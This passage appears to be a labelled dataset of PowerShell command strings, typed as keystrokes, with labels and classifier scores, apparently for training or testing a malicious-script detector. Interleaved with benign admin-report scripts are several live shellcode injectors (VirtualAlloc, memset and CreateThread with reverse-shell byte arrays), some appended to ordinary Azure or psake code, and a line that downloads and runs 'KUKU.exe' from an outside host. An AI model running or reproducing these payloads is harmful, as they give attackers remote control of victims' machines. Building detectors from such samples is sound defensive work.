lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $PxP -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd7,0xd9,0x74,0x24,0xf4,0xbf,0x2a,0x05,0xce,0x84,0x5e,0x29,0xc9,0xb1,0x57,0x31,0x7e,0x17,0x83,0xee,0xfc,0x03,0x54,0x16,0x2c,0x71,0x54,0xf0,0x32,0x7a,0xa4,0x01,0x53,0xf2,0x41,0x30,0x53,0x60,0x02,0x63,0x63,0xe2,0x46,0x88,0x08,0xa6,0x72,0x1b,0x7c,0x6f,0x75,0xac,0xcb,0x49,0xb8,0x2d,0x67,0xa9,0xdb,0xad,0x7a,0xfe,0x3b,0x8f,0xb4,0xf3,0x3a,0xc8,0xa9,0xfe,0x6e,0x81,0xa6,0xad,0x9e,0xa6,0xf3,0x6d,0x15,0xf4,0x12,0xf6,0xca,0x4d,0x14,0xd7,0x5d,0xc5,0x4f,0xf7,0x5c,0x0a,0xe4,0xbe,0x46,0x4f,0xc1,0x09,0xfd,0xbb,0xbd,0x8b,0xd7,0xf5,0x3e,0x27,0x16,0x3a,0xcd,0x39,0x5f,0xfd,0x2e,0x4c,0xa9,0xfd,0xd3,0x57,0x6e,0x7f,0x08,0xdd,0x74,0x27,0xdb,0x45,0x50,0xd9,0x08,0x13,0x13,0xd5,0xe5,0x57,0x7b,0xfa,0xf8,0xb4,0xf0,0x06,0x70,0x3b,0xd6,0x8e,0xc2,0x18,0xf2,0xcb,0x91,0x01,0xa3,0xb1,0x74,0x3d,0xb3,0x19,0x28,0x9b,0xb8,0xb4,0x3d,0x96,0xe3,0xd0,0xaf,0xcc,0x6f,0x21,0x58,0x78,0xe6,0x4f,0xf1,0xd2,0x90,0xc3,0x76,0xfd,0x67,0x23,0xad,0x30,0xbc,0x88,0x1d,0x60,0x11,0x7c,0xca,0xbc,0xc3,0xfb,0xad,0x3e,0x3e,0xa8,0xe2,0xaa,0xc3,0x1c,0x56,0x43,0x78,0xa3,0x58,0x93,0x96,0x28,0x58,0x93,0x66,0x1e,0x61,0xd1,0x27,0x2a,0xc6,0xd5,0xf7,0xc2,0xbf,0x5c,0x68,0xd4,0xbf,0x8a,0x1f,0x1f,0x6c,0x5d,0x1f,0x92,0x73,0x19,0x4c,0x81,0x20,0x75,0x21,0x73,0xaf,0x92,0x90,0x55,0x14,0x9a,0xcf,0x3c,0x00,0x6e,0xb0,0x28,0x55,0x5d,0x4e,0xa9,0xdc,0x42,0x24,0xad,0x8e,0xe8,0xa7,0xfb,0x46,0x98,0x91,0x9d,0x11,0x9d,0xc8,0xf1,0x4e,0x31,0xa1,0xa3,0x18,0x98,0x43,0x54,0xa2,0x1d,0x9e,0xe1,0x94,0x97,0x2a,0xa5,0x61,0x81,0x42,0xc9,0x3f,0x93,0xc4,0xd6,0x95,0xbe,0xa8,0x40,0x16,0x2f,0x28,0x91,0x7e,0x4f,0x28,0xd1,0x7e,0x1c,0x40,0x89,0xda,0xf1,0x75,0xd6,0xf6,0x65,0x26,0x7a,0x70,0x6e,0x9f,0x14,0x82,0x51,0x1f,0xe5,0xd1,0xc7,0x77,0xf7,0x43,0x6e,0x65,0x08,0xbe,0xf4,0xa9,0x83,0x8c,0x7c,0x2e,0x6d,0xcc,0x06,0xf0,0x18,0x37,0x50,0x33,0xbd,0x5f,0x14,0x4c,0xbd,0x5f,0xef,0x84,0x6c,0x98,0x21,0xc6,0x41,0xeb,0x6f,0x27,0x9b,0x3f,0x70;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$RjZG=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($RjZG.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$RjZG,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.210061e-05,0.9999479
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://worldnit.com/KUKU.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.837604e-05,0.9999416
"win+r enter powershell enter enter enter  enter $ColHeaders = (""SQLServer"", ""DBName"", ""addl_loan_data"", ""appraisal"", ""borrower"", ""br_address"", enter ""br_expense"", ""br_income"", ""br_liability"", ""br_REO"", enter ""channels"", ""codes"", ""customer_elements"", ""funding"", enter ""inst_channel_assoc"", ""institution"", ""institution_association"", enter ""loan_appl"", ""loan_fees"", ""loan_price_history"", ""loan_prod"", enter ""loan_regulatory"", ""loan_status"", ""product"", ""product_channel_assoc"", enter ""property"", ""servicing"", ""shipping"", ""underwriting"") enter $SQLQuery = enter ""DECLARE @ReplItems TABLE ( enter ServerName varchar(64) enter , DBName varchar(128) enter , TableName varchar(128) enter , ColumnNum int enter ) enter enter INSERT INTO @ReplItems enter EXEC sp_MSForEachDB' enter USE ? enter SELECT DISTINCT enter @@SERVERNAME enter , DB_NAME() AS DBName enter , t.name AS TableName enter , COUNT(c.name) AS ColumnNum enter FROM sys.tables t enter JOIN sys.columns c ON t.object_id = c.object_id enter JOIN sys.types ty ON c.system_type_id = ty.system_type_id enter where t.is_published = 1 enter or t.is_merge_published = 1 enter or t.is_schema_published = 1 enter GROUP BY t.name enter ORDER BY 2,3' enter enter SELECT * FROM @ReplItems enter ORDER BY 1,2"" enter enter $ServerQuery = enter ""SELECT Server FROM SQLDatabases enter WHERE DatabaseName LIKE 'distribution' enter AND Filename LIKE '%.MDF' enter AND Server NOT LIKE '%PSQLSVC21%' -- not an SMC replication server enter ORDER BY 1"" enter function Run-Query() enter { enter param ( enter $SqlQuery, enter $SqlServer, enter $SqlCatalog enter ) enter enter $SqlConnection = New-Object System.Data.SqlClient.SqlConnection(""Data Source=$SqlServer;Integrated Security=SSPI;Initial Catalog=$SqlCatalog;""); enter enter $SqlCmd = New-Object System.Data.SqlClient.SqlCommand enter $SqlCmd.CommandText = $SqlQuery enter $SqlCmd.Connection = $SqlConnection enter enter $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter enter $SqlAdapter.SelectCommand = $SqlCmd enter enter $DataSet = New-Object System.Data.DataSet enter $a = $SqlAdapter.Fill($DataSet) enter enter $SqlConnection.Close() enter enter $DataSet.Tables | Select-Object -ExpandProperty Rows enter } enter $erroractionpreference = ""SilentlyContinue"" enter $OutBook = New-Object -comobject Excel.Application enter $OutBook.visible = $True enter enter $Workbook = $OutBook.Workbooks.Add() enter $Worksheet = $Workbook.Worksheets.Item(1) enter $idx = 0 enter foreach ($Title IN $ColHeaders) { enter $idx+=1 enter $Worksheet.Cells.Item(1,$idx) = $Title enter } enter $UsedRange = $Worksheet.UsedRange enter $UsedRange.Interior.ColorIndex = 15 enter $UsedRange.Font.ColorIndex = 11 enter $UsedRange.Font.Bold = $True enter $UsedRange.Orientation = 90 enter $row = 2 enter $Publishers = Run-Query -SqlQuery $ServerQuery -SqlServer XSQLUTIL18 -SqlCatalog Status | Select-Object -Property Server | Sort-Object -Property Server enter foreach ($Publisher IN $Publishers) { enter write-host ""Server: $($Publisher.Server)"" enter $databases = Run-Query -SqlQuery $SQLQuery -SqlServer $($Publisher.Server) | Select-Object -Property ServerName, DBName, TableName, ColumnNum | Sort-Object -Property ServerName, DBName, TableName, ColumnNum enter enter $dbnew = $databases[0].DBName enter Write-Host ""DBNew: $dbnew"" enter enter foreach ($db IN $databases ) { enter $dbcurrent = $($db.DBName) enter Write-Host ""DBCurrent: $dbcurrent"" enter if (!$dbcurrent) { enter break; enter } enter elseif ($dbcurrent -ne $dbnew) { enter $row++; enter $dbnew = $($db.DBName); enter } enter $Worksheet.Cells.Item($row, 1) = $($db.ServerName) enter $Worksheet.Cells.Item($row, 1).Font.Bold = $true; enter $Worksheet.Cells.Item($row, 2) = $($db.DBName) enter $Worksheet.Cells.Item($row, 2).Font.Bold = $true; enter if ($($db.TableName) -eq ""addl_loan_data"") {$Worksheet.Cells.Item($row, 3) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""appraisal"") {$Worksheet.Cells.Item($row, 4) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""borrower"") {$Worksheet.Cells.Item($row, 5) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""br_address"") {$Worksheet.Cells.Item($row, 6) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""br_expense"") {$Worksheet.Cells.Item($row, 7) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""br_income"") {$Worksheet.Cells.Item($row, 8) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""br_liability"") {$Worksheet.Cells.Item($row, 9) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""br_REO"") {$Worksheet.Cells.Item($row, 10) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""channels"") {$Worksheet.Cells.Item($row, 11) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""codes"") {$Worksheet.Cells.Item($row, 12) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""customer_elements"") {$Worksheet.Cells.Item($row, 13) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""funding"") {$Worksheet.Cells.Item($row, 14) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""inst_channel_assoc"") {$Worksheet.Cells.Item($row, 15) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""institution"") {$Worksheet.Cells.Item($row, 16) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""institution_association"") {$Worksheet.Cells.Item($row, 17) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""loan_appl"") {$Worksheet.Cells.Item($row, 18) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""loan_fees"") {$Worksheet.Cells.Item($row, 19) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""loan_price_history"") {$Worksheet.Cells.Item($row, 20) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""loan_prod"") {$Worksheet.Cells.Item($row, 21) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""loan_regulatory"") {$Worksheet.Cells.Item($row, 22) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""loan_status"") {$Worksheet.Cells.Item($row, 23) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""product"") {$Worksheet.Cells.Item($row, 24) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""product_channel_assoc"") {$Worksheet.Cells.Item($row, 25) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""property"") {$Worksheet.Cells.Item($row, 26) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""servicing"") {$Worksheet.Cells.Item($row, 27) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""shipping"") {$Worksheet.Cells.Item($row, 28) = $($db.ColumnNum)} enter if ($($db.TableName) -eq ""underwriting"") {$Worksheet.Cells.Item($row, 29) = $($db.ColumnNum)} enter } enter enter if (!$dbcurrent) { enter } enter else { enter $row++; enter } enter } enter $UsedRange.EntireColumn.AutoFit() |out-null enter enter",0,0,0.9998118,0.00018823719
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_uxduvn0f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_150.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter",0,0,0.99996614,3.388917e-05
"win+r powershell enter $cred = Get-Credential enter New-AzVmss ` enter -ResourceGroupName ""myResourceGroup"" ` enter -VMScaleSetName ""myScaleSet"" ` enter -Location ""EastUS"" ` enter -VirtualNetworkName ""myVnet"" ` enter -SubnetName ""mySubnet"" ` enter -PublicIpAddressName ""myPublicIPAddress"" ` enter -LoadBalancerName ""myLoadBalancer"" ` enter -Credential $cred ` enter -UpgradePolicyMode ""Automatic"" ` enter -DataDiskSizeInGb 64,128 enter $vmss = Get-AzVmss ` enter -ResourceGroupName ""myResourceGroup"" ` enter -VMScaleSetName ""myScaleSet"" enter $publicSettings = @{ enter ""fileUris"" = (,""https://raw.githubusercontent.com/Azure-Samples/compute-automation-configurations/master/prepare_vm_disks.ps1""); enter ""commandToExecute"" = ""powershell -ExecutionPolicy Unrestricted -File prepare_vm_disks.ps1"" enter } enter Add-AzVmssExtension -VirtualMachineScaleSet $vmss ` enter -Name ""customScript"" ` enter -Publisher ""Microsoft.Compute"" ` enter -Type ""CustomScriptExtension"" ` enter -TypeHandlerVersion 1.8 ` enter -Setting $publicSettings enter Update-AzVmss ` enter -ResourceGroupName ""myResourceGroup"" ` enter -Name ""myScaleSet"" ` enter -VirtualMachineScaleSet $vmss enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x04,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.178908e-05,0.99994826
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_r7zgg1eo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_25.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4000295e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0f,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r enter powershell enter enter enter TaskSetup { enter param($task) enter enter ""Setting up: '$($task.Name)'"" enter Assert ($task -ne $null) '$task should not be null' enter Assert (-not ([string]::IsNullOrWhiteSpace($task.Name))) '$task.Name should not be empty' enter } enter enter Task default -depends Compile, Test, Deploy enter enter Task Compile { enter ""Compiling"" enter } enter enter Task Test -depends Compile { enter ""Testing"" enter } enter enter Task Deploy -depends Test { enter ""Deploying"" enter } enter enter",0,0,0.9998658,0.00013422022
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_xclvx0rg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4376964e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_82huqju2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4242195e-05
"win+r enter powershell enter enter enter function GetCurrentConfigurationOrDefault() { enter if ($psake.context.count -gt 0) { enter return $psake.context.peek().config enter } else { enter return $psake.config_default enter } enter } enter enter $qkc = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $qkc -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x65,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rgcM=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rgcM.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rgcM,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.197615e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_olip6pd0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_40.json"") -Encoding UTF8 enter",0,0,0.9999659,3.407879e-05
"win+r enter powershell enter enter enter function Get-Entropy enter { enter [CmdletBinding()] Param ( enter [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True, ParameterSetName = 'Bytes')] enter [ValidateNotNullOrEmpty()] enter [Byte[]] enter $ByteArray, enter enter [Parameter(Mandatory = $True, Position = 0, ParameterSetName = 'File')] enter [ValidateNotNullOrEmpty()] enter [IO.FileInfo] enter $FilePath enter ) enter enter BEGIN enter { enter $FrequencyTable = @{} enter $ByteArrayLength = 0 enter } enter enter PROCESS enter { enter if ($PsCmdlet.ParameterSetName -eq 'File') enter { enter $ByteArray = [IO.File]::ReadAllBytes($FilePath.FullName) enter } enter enter foreach ($Byte in $ByteArray) enter { enter $FrequencyTable[$Byte]++ enter $ByteArrayLength++ enter } enter } enter enter END enter { enter $Entropy = 0.0 enter enter foreach ($Byte in 0..255) enter { enter $ByteProbability = ([Double] $FrequencyTable[[Byte]$Byte]) / $ByteArrayLength enter if ($ByteProbability -gt 0) enter { enter $Entropy += -$ByteProbability * [Math]::Log($ByteProbability, 2) enter } enter } enter enter Write-Output $Entropy enter } enter } enter $j3p = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $j3p -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 